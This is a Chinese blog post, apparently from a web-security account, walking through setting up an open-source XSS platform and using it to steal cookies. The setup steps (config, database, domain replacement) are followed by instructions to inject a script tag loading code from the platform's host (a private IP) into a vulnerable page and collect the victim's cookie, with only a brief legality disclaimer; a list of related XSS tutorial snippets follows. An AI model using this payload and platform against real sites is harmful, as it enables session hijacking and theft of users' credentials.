XSS平台搭建及利用

男孩子要娶，就要娶一见你就笑的女生，女孩子要嫁就要嫁能让你笑的男生。。。

---- 网易云热评

一、下载平台源码、拷贝到我们网站的根目录

https://github.com/anwilx/xss_platform

二、修改相关参数

1、config.php，数据库用户、密码、还有xss平台的访问路径

2、导入sql文件，测试的时候没法导入，所以就手动创建了数据库

新建数据库

打开xssplatform.sql，将里面的sql语句执行一遍

3、更新站点域名，将作者的域名替换，一共有四处

将module模块里"http://xsser.me"替换为"http://www.aiyouxss.com/xss");

4、修改authtest文件

三、平台利用

1、注册一个账户

2、创建一个项目

3、配置相关信息，根据需要，添加模块

4、复制script里面代码，插入到存在xss漏洞的页面

<script src=http://192.168.139.129/xss/E3vbsa></script>

5、打开xss平台，已获取对方cookie

禁止非法，后果自负

欢迎关注公众号：web安全工具库

欢迎关注视频号：之乎者也吧

XSS平台搭建及利用相关推荐

XSS跨站脚本攻击（DVWA XSS攻击详解、XSS平台搭建）
一.跨站脚本攻击过程二.XSS攻击定义及危害三.XSS攻击常见分类例:反射型例:存储型例:DOM型四.XSS攻击常见编码例: 编码后: 五.XSS常见测试语句 Script 标签 Scr ...
windows下XSS平台搭建
在这里我选择用windows2003搭建,之前用linux搭建过,感觉比较浪费时间,所以这次用windows搭建,想看linux搭建的可以点击超链接查看开始安装首先下载好源码,Zkeys,ISAP ...
xss漏洞之——XSS平台搭建
前言经过测试,如果发现了XSS漏洞,那么我们可以结合一些XSS工具来进行利用.常见的XSS利用工具有下面几个: 1.kali下的beef (1)kali命令行里输入beef-xss,得到一个脚本 & ...
XSS平台搭建(xsser.me)
0x00 XSS Platform 介绍 XSS漏洞的利用一直以来有各种各样的方式,不过XSS平台无疑是其中的佼佼者.XSS Platform集成了一些常见的XSS Payload,可以很方便的利用漏 ...
从零开始Ubuntu下xss平台搭建的完整教程
0x01 环境搭建 apache安装在ubuntu下安装apache2很简单,只要用apt-get install apache2就可以了,安装完成后,在 /etc/apache2/路径下,有个ap ...
Web安全攻防之XSS平台搭建
XSS测试平台:主要用与接收测试XSS得到的cookie,或者托管 exp(在打CTF时可能会需要使用这种平台. XSS game:有XSS漏洞的游戏,用来训练XSS技术. 不推荐自己搭建,建议使用 ...
XSS 平台搭建与优化（基于 xsser.me 源码）
这个周花了点时间捣鼓公司内网论坛,不幸发现原来搭建的 xss platform 挂了,于是重新找了一份代码进行搭建. 在 zone 里面找了一份别人优化过的代码,作者是 Gosuto ,地址点我为什 ...
（26）【xss环境搭建一条龙】【pm、bf使用】轻量xss平台、Postman、beef-xss功能模块利用
目录 XSS平台搭建: 第一步:先下载源文件第一个(来源:清华大学蓝莲花战队): 第二个(网上发布的,在真实机上搭建失败,打算虚拟机终端搭建): XSS工具使用: postman: 下 ...
从零开始搭建轻量级个人XSS平台(BlueLotus_XSSReceiver-master蓝莲花)
一. 前言决定搭建XSS平台是因为自己想深入学习一下XSS相关的知识,多多进行实践,上网搜索了一下XSS平台有很多,但是总觉得不是很安全,这个毕竟敏感信息要传输到陌生人的服务器上,而且服务器端测试代 ...

XSS平台搭建及利用

XSS平台搭建及利用相关推荐

最新文章

热门文章